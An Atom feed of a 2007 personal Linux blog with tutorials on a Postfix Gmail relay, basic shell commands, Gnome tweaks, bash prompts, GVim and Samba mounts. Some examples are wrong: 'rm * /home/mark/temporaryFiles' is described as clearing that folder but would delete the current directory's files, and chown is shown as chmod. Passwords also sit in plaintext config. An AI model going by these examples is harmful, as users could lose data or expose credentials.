
&lt;p&gt;smtpd_sasl_auth_enable = no&lt;/p&gt;

&lt;h1&gt;We need this&lt;/h1&gt;

&lt;p&gt;smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtpd_sasl_local_domain = $myhostname
smtp_sasl_security_options = noanonymous
#smtp_sasl_security_options =
smtp_sasl_tls_security_options = noanonymous
smtpd_sasl_application_name = smtpd`&lt;/p&gt;

&lt;h3&gt;Step 7: Create the transport file&lt;/h3&gt;

&lt;p&gt;`# Contents of /etc/postfix/transport
#&lt;/p&gt;

&lt;h1&gt;This sends mail to Gmail&lt;/h1&gt;

&lt;p&gt;gmail.com               smtp:[smtp.gmail.com]:587
#`&lt;/p&gt;

&lt;h3&gt;Step 8: Create the SASL password&lt;/h3&gt;

&lt;p&gt;Replace username/password with your actual username and password.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;#contents of sasl_passwd
#
[smtp.gmail.com]:587              username@gmail.com:password&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Step 9: Hash the password and transport files&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;postmap sasl_passwd &amp;amp;&amp;amp; postmap transport&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Step 10: Restart the postfix server and clean up&lt;/h3&gt;

&lt;p&gt;Enter the following command as root to restart postfix:
&lt;code&gt;/etc/init.d/postfix restart&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Go to your home directory where you made the temporary .pem files in step 1.
&lt;code&gt;cd ~&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Clean up the mouse turds! :)
&lt;code&gt;rm FOO-req.pem FOO-cert.pem FOO-key.pem &amp;amp;&amp;amp; rm -r demoCA/&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Does it work?&lt;/h3&gt;

&lt;p&gt;Send a test email to yourself, replace username with your actual username.  Note this is a test and it only tests to see if it WOULD send.  You will not get an email in your Gmail inbox.
&lt;code&gt;sendmail -bv username@gmail.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Check to see if it went
&lt;code&gt;cat /var/log/mail.log | tail&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If everything went ok you will see something like this in the log
&lt;code&gt;Oct  1 12:22:04 localhost postfix/smtp[21389]: 671AD676BF: to=, relay=smtp.gmail.com[123.233.169.109], delay=3, status=deliverable (delivery via smtp.gmail.com[123.233.169.109]: 250 2.1.5 OK)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If it didn&amp;rsquo;t work out you will see this in the log
&lt;code&gt;Oct  1 12:21:57 localhost postfix/local[21381]: 4E5BA676BF: to=, orig_to=, relay=local, delay=0, status=undeliverable (delivery via local: unknown user: &amp;quot;user&amp;quot;)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Alternative Method&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After issuing the sendmail command you can check to see if it worked by checking your local email with any email client.  I used mutt.&lt;/p&gt;

&lt;p&gt;You can also check the email queue with
&lt;code&gt;postqueue -p&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And deleting all messages in queue with
&lt;code&gt;postsuper -d ALL&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If all goes well you should know have a working outgoing email server through Gmail&amp;rsquo;s SMTP.  Now you can write scripts on your server to alert you of all sorts of things happening on your server.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Getting Familiar with the Linux Command Line</title>
		<link href="https://www.marksanborn.net/linux/getting-familiar-with-the-linux-command-line/index.html" />
		<updated>2007-09-25T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/getting-familiar-with-the-linux-command-line/index.html</id>
		<content type="html">&lt;h3&gt;Navigating and Moving Files Around&lt;/h3&gt;

&lt;p&gt;The first thing you need to know about navigation the unix world is the difference between &amp;lsquo;/textFile.txt&amp;rsquo; and &amp;lsquo;textFile.txt&amp;rsquo;.  Notice the &amp;lsquo;/&amp;rsquo; in front of the first example.  This means start at the root directory and look for textFile.txt.  Where the later example says look in the current directory for textFile.txt.  Users comming from windows might recognize the root directory as c:/ where the current directory might be &amp;lsquo;Documents and Settings&amp;rsquo; or /home/username/docs/.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;pwd - Print working directory&lt;/strong&gt;
This command is useless if you &lt;a href=&#34;/linux/adding-color-and-customize-the-bash-prompt-ps1/&#34;&gt;Customize your PS1&lt;/a&gt; to include the pwd command.
Example: pwd
Output: /home/username/
Explanation: This will tell you what directory you are currently in.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ls - List the directory&lt;/strong&gt;
Example: ls
Explanation: This will show you the contents of non-hidden files and directories in your working path (see the command above)&lt;/p&gt;

&lt;p&gt;Example: ls -a
Explanation: This will show you the contents of ALL files and directories in your working path.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;cd - Change directory&lt;/strong&gt;
Example: cd /var/log
Example: cd .. (brings you to /var)
Explanation: Move up, down, or to a completely new directory&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;cp - Copy&lt;/strong&gt;
Example: cp /etc/SomeConfigFile.txt /home/username/SomeConfigFile.html
Explanation: This will copy the file &amp;lsquo;SomeConfigFile.txt&amp;rsquo; in the directory /etc and place it in the directory /home/username while renaming it to include an html extention.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;mv - Move / Rename&lt;/strong&gt;
Example: mv /home/username/MyPic.jpg /home/username/vacation/Mypic.jpg
Explanation: This is like cutting and pasting a file in windows.  This is cutting the file MyPic and pasting it into the folder /home/username/vacation/Mypic.jpg&lt;/p&gt;

&lt;p&gt;Example: mv /home/username/MyPic.jpg /home/username/Mypic092507.jpg
Explanation: This will rename the file MyPic.jpg to include the date, Mypic092507.jpg.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;rm - Remove / Delete&lt;/strong&gt;
Example rm /home/username/oldfile.txt
Explanation: this will delete the file name oldfile.txt in the directory /home/username&lt;/p&gt;

&lt;p&gt;Example rm -R /home/mark/temp
Explanation: This will delete the folder temp.  The -R flag tells rm to  include subdirectories&lt;/p&gt;

&lt;p&gt;Example: rm * /home/mark/temporaryFiles
Explanation: You can include wild cards as well.  This command will delete all files in the folder temporaryFiles&lt;/p&gt;

&lt;h3&gt;File Permissions&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;chmod - Change file permissions&lt;/strong&gt;
Example: chmod -R 755 vacation
Explanation: Recursively (go into subdirectories) change permissions to the default on the directory vacation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;chown - Change owner&lt;/strong&gt;
Example: chmod mark vacation
Explanation: Change owner on directory vacation to mark.&lt;/p&gt;

&lt;h3&gt;Compressing and Extracting&lt;/h3&gt;

&lt;p&gt;Compressing
Example: tar -cvjf test.tar.bz2 test.txt
Explanation: Compress the file test.txt with the bz2 compression.&lt;/p&gt;

&lt;p&gt;Extracting
Example: tar -xvjf test.tar.bz2
Explanation: This will extract the file test.tar.bz2 to the current directory.&lt;/p&gt;

&lt;h3&gt;Text Maniuplation and Pipe&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;history - List of recent commands you have used&lt;/strong&gt;
Example: history&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;grep - Find a keyword and output the results&lt;/strong&gt;
Example: history | grep nano
Explanation: This command prints the results of the command history and &amp;lsquo;|&amp;rsquo; (pipes) them to the program grep.  grep then searches through the results and only returns the lines of results that contain the keyword &amp;lsquo;nano&amp;rsquo;.  This specific example will look through the recent text files you have edited with the program nano.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;cat - Concatenate&lt;/strong&gt;
Example: cat /proc/acpi/thermal_zone/THRM/temperature
Explanation: Concatenate (Print) your CPU temperature to the screen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;less - Show only what you can see on your screen at a time&lt;/strong&gt;
Example: cat dmesg | less
Explanation: Show the dmesg file piece by piece.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;tail - Show the last bit of the text file&lt;/strong&gt;
Example: cat dmesg | tail
Explanation: Show the the last part of the file that will fit on your screen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;slocate - Search your hard drive for files matching a specific keyword&lt;/strong&gt;
Example: slocate Xorg.conf
Explanation: Find where the file Xorg.conf is located at.&lt;/p&gt;

&lt;p&gt;Example: updatedb
Explanation: Update the hard drive index for searching with slocate.&lt;/p&gt;

&lt;h3&gt;System&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;reboot - Reboot the computer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;halt - Shutdown the computer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;top - See system resources and currently running programs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ps -A - See a list of programs that are running&lt;/strong&gt;
Example: ps -A | grep gnome
Explanation: Find any programs running that have gnome in their name. (See grep)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;df - Show remaining disk space&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;du -sh directoryName/ - Show the size of a directory in human readable format (hence the h flag)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;uptime - Display the system uptime&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;Networking&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;ifconfig - Interface Configuration&lt;/strong&gt;
Example: ifconfig eth0 down
Explanation: Deactivate your primary ethernet card.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;scp - Shell copy&lt;/strong&gt;
Example: scp root@192.168.0.201:/home/username/Mypic.jpg .
Explanation: Copies the file Mypic remote from the host 192.168.101 via ssh to current directory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;wget - Web get&lt;/strong&gt;
Example: wget  &lt;a href=&#34;http://releases.ubuntu.com/feisty/ubuntu-7.04-desktop-i386.iso&#34;&gt;http://releases.ubuntu.com/feisty/ubuntu-7.04-desktop-i386.iso&lt;/a&gt;
Explanation: Download Ubuntu to the current directory.&lt;/p&gt;

&lt;h3&gt;Security&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;md5 - Do a md5 hash on a file&lt;/strong&gt;
Example: md5 filename.txt
Explanation This will run an md5 hash on the file this will output a 32 digit hex like this, &amp;lsquo;ffd93f16876049265fbaef4da268dd0e&amp;rsquo;.&lt;/p&gt;

&lt;h3&gt;Fun&lt;/h3&gt;

&lt;p&gt;Example: mplayer videoyouwant.avi -vo aa
Explanation: Watch your favorite avi file in ASCII format.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Turn Off Gnome Animations and Hide Window Contents While Dragging</title>
		<link href="https://www.marksanborn.net/linux/turn-off-gnome-animations-and-hide-window-contents-while-dragging/index.html" />
		<updated>2007-09-24T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/turn-off-gnome-animations-and-hide-window-contents-while-dragging/index.html</id>
		<content type="html">&lt;p&gt;Have old hardware, slow computer or a server that requires a Gnome and want to find out how to make Gnome use less memory and other system resources?   I have searched the internet for a long time looking for way to make gnome use a wire-frame method of stretching/resizing windows.  I have now found this option in gnome as options to turn off other resource hogs to make gnome run a little faster especially on older hardware when you can&amp;rsquo;t afford to waste those precious CPU cycles.  By default Gnome makes it difficult to find the option to turn off these CPU intensive GUI features but once you know where these options are it is easy to fix.&lt;/p&gt;

&lt;p&gt;To enable these resource saving features open gconf, from terminal:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gconf-editor&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;from there go to:
&lt;code&gt;/apps/metacity/general and check on reduced_resources&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;also:
&lt;code&gt;/apps/panel/global and uncheck enable_animations&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;also:
&lt;code&gt;/desktop/gnome/interface and check off the box for accessibility&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>10 Linux Shortcuts You Can't Live Without</title>
		<link href="https://www.marksanborn.net/linux/10-linux-shortcuts-you-cant-live-without/index.html" />
		<updated>2007-09-21T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/10-linux-shortcuts-you-cant-live-without/index.html</id>
		<content type="html">&lt;h2&gt;1. Tab&lt;/h2&gt;

&lt;p&gt;The most handy shortcut and time saver for the linux command line.  This actually makes navigating directories faster in the CLI than the traditional GUI browser.  Simply start typing the command, filename, or directory and hit tab.  Bash will automatically complete what you are typing.  It even works at the lilo prompt and in some X applications.&lt;/p&gt;

&lt;h2&gt;2. Ctrl + c&lt;/h2&gt;

&lt;p&gt;Stop that program dead in its tracks.  This is the command line version of end task.&lt;/p&gt;

&lt;h2&gt;3. Ctrl + z&lt;/h2&gt;

&lt;p&gt;Send the current process to background. This is useful if you have a program running, and you need the terminal for awhile but don&amp;rsquo;t want to exit the program completely.&lt;/p&gt;

&lt;p&gt;Type the command fg to get the process back.&lt;/p&gt;

&lt;h2&gt;4. Ctrl + d&lt;/h2&gt;

&lt;p&gt;Log out from the current terminal. If you use this in an X terminal emulator such as xterm it will usually close it after logging out.&lt;/p&gt;

&lt;h2&gt;5. Ctrl + u&lt;/h2&gt;

&lt;p&gt;Erase the current line.  I use this one all the time when I type the wrong command in.&lt;/p&gt;

&lt;h2&gt;6. Ctrl + Alt + F1,  (F1-F6)&lt;/h2&gt;

&lt;p&gt;Switch to the first virtual terminal. In Linux, you can have several virtual terminals at the same time. The default is 6.  (Ctrl + Alt + F7 to get back to X)&lt;/p&gt;

&lt;h2&gt;7. Ctrl + l (lowercase L)&lt;/h2&gt;

&lt;p&gt;Clear the terminal.&lt;/p&gt;

&lt;h2&gt;8. Ctrl + Alt + Backspace&lt;/h2&gt;

&lt;p&gt;Kill the X server. Use this if X crashes and you can&amp;rsquo;t exit it normally. If you&amp;rsquo;ve configured GDM to start automatically at bootup, this restarts the server and throws you back to the graphical login screen.&lt;/p&gt;

&lt;h2&gt;9. Ctrl + a&lt;/h2&gt;

&lt;p&gt;Move the cursor to the beginning of the current line.  Usefull for those times you navigated all the way through 20 directories and forgot to add &amp;lsquo;cp&amp;rsquo; to the beginning.  Use this instead of the arrow keys.&lt;/p&gt;

&lt;h2&gt;10. Ctrl + e&lt;/h2&gt;

&lt;p&gt;Last but not least get that cursor back to the end of the line.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Adding Color and Customize the Bash Prompt (PS1)</title>
		<link href="https://www.marksanborn.net/linux/adding-color-and-customize-the-bash-prompt-ps1/index.html" />
		<updated>2007-09-20T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/adding-color-and-customize-the-bash-prompt-ps1/index.html</id>
		<content type="html">&lt;h3&gt;What is the PS1?&lt;/h3&gt;

&lt;p&gt;The PS1 is the first thing that you see when you open a terminal.  In the picture below it is the green text, &amp;lsquo;&lt;strong&gt;mark@thinktank:~$&lt;/strong&gt;&amp;rsquo;.   The default bash PS1 only shows &amp;lsquo;&lt;strong&gt;[hostname]$&lt;/strong&gt; &amp;lsquo;.  This is not very useful since you have to type &amp;lsquo;&lt;strong&gt;pwd&lt;/strong&gt;&amp;rsquo;  all the time just to see what directory you are in.  I prefer to my current directory in the PS1.&lt;/p&gt;

&lt;p&gt;On the other hand the default Ubuntu/Debian prompt shows, &amp;lsquo;&lt;strong&gt;mark@thinktank:~$&lt;/strong&gt;&amp;rsquo; which is 100 times better than the previous example, but even it still can be improved.  I prefer to have the PS1 colored because I want to have a visual way of distingusing between different user accounts on my computer.  This is especially helpful for distinguishing between a regular user and root.  By doing this I tend to make less mistakes at the console as root :) .&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/09/terminal.png&#34; alt=&#34;Linux Terminal&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Let There be Color&lt;/h3&gt;

&lt;p&gt;Use your favorite text editor and uncomment the line in .bashrc under the line:&lt;/p&gt;

&lt;h1&gt;Comment in the above and uncomment this below for a color prompt&lt;/h1&gt;

&lt;p&gt;It may look similar to this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;PS1=&#39;${debian_chroot:+($debian_chroot)}\[33[01;32m\]\u@\h\[33[00m\]:\[33[01;34m\]\w\[33[00m\]\$ &#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The code above will give you the same result picture above.
Then save the file and reload your terminal (Use the &lt;a href=&#34;/linux/10-linux-shortcuts-you-cant-live-without/&#34;&gt;Linux shortcut&lt;/a&gt; ctrl-d and relogin or click your terminal icon)&lt;/p&gt;

&lt;h3&gt;Make Root a Different Color&lt;/h3&gt;

&lt;p&gt;In order for root to have a different colored PS1 you need to edit root&amp;rsquo;s .bashrc config file.&lt;/p&gt;

&lt;p&gt;Open this file with your favorite text editor.  It is usually located here, &amp;lsquo;&lt;strong&gt;/root/.bashrc&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;Uncomment the same line as before to add color, and change the number 32 in the line to 31.  This will change the color from green to red.  See below for other colors.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;PS1=&#39;${debian_chroot:+($debian_chroot)}\[33[01;31m\]\u@\h\[33[00m\]:\[33[01;34m\]\w\[33[00m\]\$ &#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now you know how to make the default bash PS1 prompt a little more useful and colorful :) .  Now I will leave the rest of the post for reference material so you can customize the prompt to your own needs.  Let me know what useful PS1s you come up with.&lt;/p&gt;

&lt;h3&gt;Common Bash PS1 Flags&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;\a&lt;/strong&gt;     an ASCII bell character (07)
&lt;strong&gt;\d&lt;/strong&gt;     the  date  in  &amp;ldquo;Weekday  Month  Date&amp;rdquo; format (e.g., &amp;ldquo;Tue May 26&amp;rdquo;)
&lt;strong&gt;\e&lt;/strong&gt;     an ASCII escape character (033)
&lt;strong&gt;\h&lt;/strong&gt;     the hostname up to the first `.&amp;rsquo;
&lt;strong&gt;\H&lt;/strong&gt;     the hostname
&lt;strong&gt;\n&lt;/strong&gt;     newline
&lt;strong&gt;\r&lt;/strong&gt;     carriage return
&lt;strong&gt;\s&lt;/strong&gt;     the name of the shell, the  basename  of  $0 (the portion following the final slash)
&lt;strong&gt;\t&lt;/strong&gt;     the current time in 24-hour HH:MM:SS format
&lt;strong&gt;\T&lt;/strong&gt;     the current time in 12-hour HH:MM:SS format
&lt;strong&gt;\@&lt;/strong&gt;     the current time in 12-hour am/pm format
&lt;strong&gt;\u&lt;/strong&gt;    the username of the current user
&lt;strong&gt;\v&lt;/strong&gt;     the version of bash (e.g., 2.00)
&lt;strong&gt;\V&lt;/strong&gt;     the  release  of  bash, version + patchlevel (e.g., 2.00.0)
&lt;strong&gt;\w&lt;/strong&gt;     the current working directory
&lt;strong&gt;\W&lt;/strong&gt;     the basename of the current  working  direc-tory
&lt;strong&gt;!&lt;/strong&gt;     the history number of this command
&lt;strong&gt;#&lt;/strong&gt;     the command number of this command
&lt;strong&gt;\$&lt;/strong&gt;     if  the effective UID is 0, a #, otherwise a $
&lt;strong&gt;\nnn&lt;/strong&gt;   the character  corresponding  to  the  octal number nnn
*&lt;em&gt;\*&lt;/em&gt;    a backslash
&lt;strong&gt;[&lt;/strong&gt;     begin a sequence of non-printing characters, which could be used to embed a terminal con-trol sequence into the prompt
&lt;strong&gt;]&lt;/strong&gt;     end a sequence of non-printing characters&lt;/p&gt;

&lt;h3&gt;Bash Color Codes&lt;/h3&gt;

&lt;p&gt;Black       0;30&lt;/p&gt;

&lt;p&gt;Dark Gray     1;30&lt;/p&gt;

&lt;p&gt;Blue        0;34&lt;/p&gt;

&lt;p&gt;Light Blue    1;34&lt;/p&gt;

&lt;p&gt;Green       0;32&lt;/p&gt;

&lt;p&gt;Light Green   1;32&lt;/p&gt;

&lt;p&gt;Cyan        0;36&lt;/p&gt;

&lt;p&gt;Light Cyan    1;36&lt;/p&gt;

&lt;p&gt;Red         0;31&lt;/p&gt;

&lt;p&gt;Light Red     1;31&lt;/p&gt;

&lt;p&gt;Purple      0;35&lt;/p&gt;

&lt;p&gt;Light Purple  1;35&lt;/p&gt;

&lt;p&gt;Brown       0;33&lt;/p&gt;

&lt;p&gt;Yellow        1;33&lt;/p&gt;

&lt;p&gt;Light Gray  0;37&lt;/p&gt;

&lt;p&gt;White         1;37&lt;/p&gt;

&lt;h3&gt;Ideas for PS1&lt;/h3&gt;

&lt;p&gt;Color change for regular user vs. root
Show the current directory
Show time
Show date
Show hostname (especially useful when &amp;ldquo;sshing&amp;rdquo; into other computers)&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Making GVim your Default Text Editor in Gnome</title>
		<link href="https://www.marksanborn.net/linux/making-gvim-your-default-text-editor-in-gnome/index.html" />
		<updated>2007-09-19T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/making-gvim-your-default-text-editor-in-gnome/index.html</id>
		<content type="html">&lt;p&gt;By default Gnome uses gedit for the defualt text editor.  Since I am constantly writing and modifying config files and programming in scripting languages  I decided to try the &amp;ldquo;programmer&amp;rsquo;s text editor&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;There was a lot of hype about the program so had to find out what the all the hype was.  The first time I used Vim I didn&amp;rsquo;t know what was going on.  It seemed like the text editor was going crazy typing characters all over the place or deleting entire lines of code with one key.  The learning curve was a bit of a challenge at first but I have since learned to love vim and will be writing more articles about it.&lt;/p&gt;

&lt;p&gt;To me Vim is like the Photoshop of text editors.  The more you learn it, the more your productivity and abilities increase exponentially.  It also increases your geek factor by 10. :)  Don&amp;rsquo;t take my word for it.  Try it by installing it and running &amp;lsquo;&lt;strong&gt;vimtutor&lt;/strong&gt;&amp;rsquo;.  Make sure you get through the whole tutorial.  It is only the very basics of Vim and you will probably be totally lost without it.&lt;/p&gt;

&lt;p&gt;Ok, lets switch the default Gnome text editor to vim&amp;hellip;&lt;/p&gt;

&lt;h3&gt;Install Vim for console and GUI&lt;/h3&gt;

&lt;p&gt;Type or copy the following command for your operating system.&lt;/p&gt;

&lt;p&gt;Debian / Ubuntu
&lt;code&gt;sudo apt-get install vim
sudo apt-get install vim-gnome
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Gentoo
&lt;code&gt;emerge -a vim&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;FreeBSD
&lt;code&gt;pkg_add -r -v vim-lite&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Tell Gnome You Want to Use GVim&lt;/h3&gt;

&lt;p&gt;In Gnome Right click on a text file, choose &amp;ldquo;Open with Other Application&amp;hellip;&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;If you are using Ubuntu Gvim will be listed as a program in which to open the text file.  Select it and click Open.  For other operating systems the default installation for gvim is &amp;lsquo;&lt;strong&gt;/usr/bin/gvim&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;Get a terminal, and cd to ~/.local/share/applications. There is now a
new file in there called &amp;ldquo;gvim.desktop&amp;rdquo; or &amp;ldquo;gvim-usercreated.desktop&amp;rdquo;&lt;/p&gt;

&lt;p&gt;In that same path create a new file called &amp;ldquo;defaults.list&amp;rdquo; with the following info:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;[Default Applications]
text/plain=gvim.desktop
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Restart nautilus with &amp;ldquo;killall nautilus&amp;rdquo; (this will make the effect immediate without restarting)&lt;/p&gt;

&lt;p&gt;Now, if Gnome gets updated and it changes /etc/gnome/defaults.list, your change would still be in place.&lt;/p&gt;

&lt;p&gt;Thats it!  You have now changed the Gnome default text editor to GVim.  Remember you can still use Vim in the console by using vim instead of gvim.&lt;/p&gt;

&lt;p&gt;I hope if you are new to Vim you at least try it for a reasonable length of time.  You will probably be slower at first but it will be worth learning.  It&amp;rsquo;s like typing class.  Sure, looking at the keys is easier but if you learn to type without looking you will be much faster. :)&lt;/p&gt;

&lt;p&gt;If you are an avid Vim user or you are trying it for the first time I would love to hear your experience with it.  Leave a comment below.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Mounting a Samba Share that has Spaces</title>
		<link href="https://www.marksanborn.net/linux/mounting-a-samba-share-that-has-spaces/index.html" />
		<updated>2007-09-18T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/mounting-a-samba-share-that-has-spaces/index.html</id>
		<content type="html">&lt;p&gt;It is often required to mount a shared Windows drive instead of browsing the share through nautilus or smbclient.  For example you may want to set up a backup script that copies a local linux directory and uploads it to a windows share each night.  This can be easily accomplished with a simple bash script; however, the script needs to be able to browse to the share through a normal directory.  Since the bash script can only interact with regular directories we have to simulate a directory by mounting the share as a pretend linux filesystem (smbfs).  This is what we are going to do today.&lt;/p&gt;

&lt;h3&gt;Things you need&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Samba&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;smbfs&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;a text editor&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Installing Samba&lt;/h3&gt;

&lt;p&gt;Ubuntu/Debian -  &lt;code&gt;sudo apt-get install samba&lt;/code&gt;
Gentoo - &lt;code&gt;emerge samba&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Installing smbfs&lt;/h3&gt;

&lt;p&gt;Ubuntu/Debian - &lt;code&gt;sudo apt-get install smbfs&lt;/code&gt;
Gentoo - &lt;code&gt;emerge smbfs&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Making the Directory&lt;/h3&gt;

&lt;p&gt;As root:
mkdir /mnt/windowsShare&lt;/p&gt;

&lt;h3&gt;Automatically mount the share on boot&lt;/h3&gt;

&lt;p&gt;nano -w /etc/fstab
Add the following line near the bottom&lt;/p&gt;

&lt;p&gt;&lt;code&gt;//192.168.x.x/My\040Share   /mnt/windowsShare     smbfs   username=user,password=pass   0 0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Replace &lt;strong&gt;192.168.x.x&lt;/strong&gt; with the host&amp;rsquo;s ip address (&lt;a href=&#34;/howto/find-your-ip-address/&#34;&gt;Find Your IP Address&lt;/a&gt;)
Replace &lt;strong&gt;My\040Share&lt;/strong&gt; with the share name (the &amp;lsquo;&lt;strong&gt;\040&lt;/strong&gt;&amp;rsquo; is the linux way of making a space.)
Replace &lt;strong&gt;user&lt;/strong&gt; with your actual username and &lt;strong&gt;pass&lt;/strong&gt; with your password.&lt;/p&gt;

&lt;p&gt;Now the next time you boot your computer you will automatically have a directory &amp;lsquo;&lt;strong&gt;/mnt/windowsShare&lt;/strong&gt;&amp;rsquo; that will contain the files/folders from the host computer.  You can interact with this directory just as you would with any other directory.&lt;/p&gt;

&lt;p&gt;To force the change now with having to reboot type this command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo mount -a&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This command will simulate a reboot by remounting everything in fstab that isn&amp;rsquo;t mounted.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Speed up the Gnome Menu and Fix the Annoying Icon Delay</title>
		<link href="https://www.marksanborn.net/linux/speed-up-the-gnome-menu-and-fix-the-annoying-icon-delay/index.html" />
		<updated>2007-09-17T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/speed-up-the-gnome-menu-and-fix-the-annoying-icon-delay/index.html</id>
		<content type="html">&lt;p&gt;Recently I installed a copy of Ubuntu Feisty Fawn 7.04 on an older computer and I noticed that the Gnome menu was slow and the icons next to the menu items were taking a few seconds to load.  At first I attributed this to the old slow computer.  I later went home and booted up my new dual core system with 2gigs of RAM and noticed the same problem.  At this point I knew that there was something wrong.&lt;/p&gt;

&lt;p&gt;The first problem with the Gnome menu is that it loads the menu icons as needed causing a delay before you can see the icons.  By default when you click the Gnome menu the icons are retrieved and loaded after the click (this is why there is a delay) and put in memory so they can be called later.  Once the icons are in memory there will be no delay the next time you go to the same menu item.  However, I think this is a bug since you should never see a delay in a menu system even if it is the first time you click on it.  You can fix this problem by typing the following command as root.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gtk-update-icon-cache -f /usr/share/icons/THEMENAME/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Remember to replace the THEMENAME with the actual icon theme set you are using.  The default is &amp;lsquo;&lt;strong&gt;gnome&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;The second problem I find with the Gnome menu is that it as a built in delay before sub menus are generated when you hover over them with your mouse.  Unlike the &amp;lsquo;bug&amp;rsquo; I described before this one is actually a feature :).  Many users don&amp;rsquo;t want the sub navigation menu popping out as they are moving their mouse down the list to their final destination.  The only problem is the delay is too slow by default and I recommend speeding it up a bit.  You can do that with the following command.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;echo gtk-menu-popup-delay = 100 &amp;gt;&amp;gt; ~/.gtkrc-2.0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If this speeds up the menu too much or not enough you can modify the speed by opening up the file .gtkrc-2.0 in your home directory and change the &amp;lsquo;100&amp;rsquo; to a smaller number (faster) or a larger number (slower).  You can do this with your &lt;a href=&#34;/linux/making-gvim-your-default-text-editor-in-gnome/&#34;&gt;favorite text editor&lt;/a&gt; or Nano text editor if you don&amp;rsquo;t have a favorite :).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nano -w ~/.gtkrc-2.0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This tweak should work on all distributions of linux.&lt;/p&gt;

&lt;p&gt;So far I have tested it on Ubuntu Feisty Fawn 7.04.&lt;/p&gt;

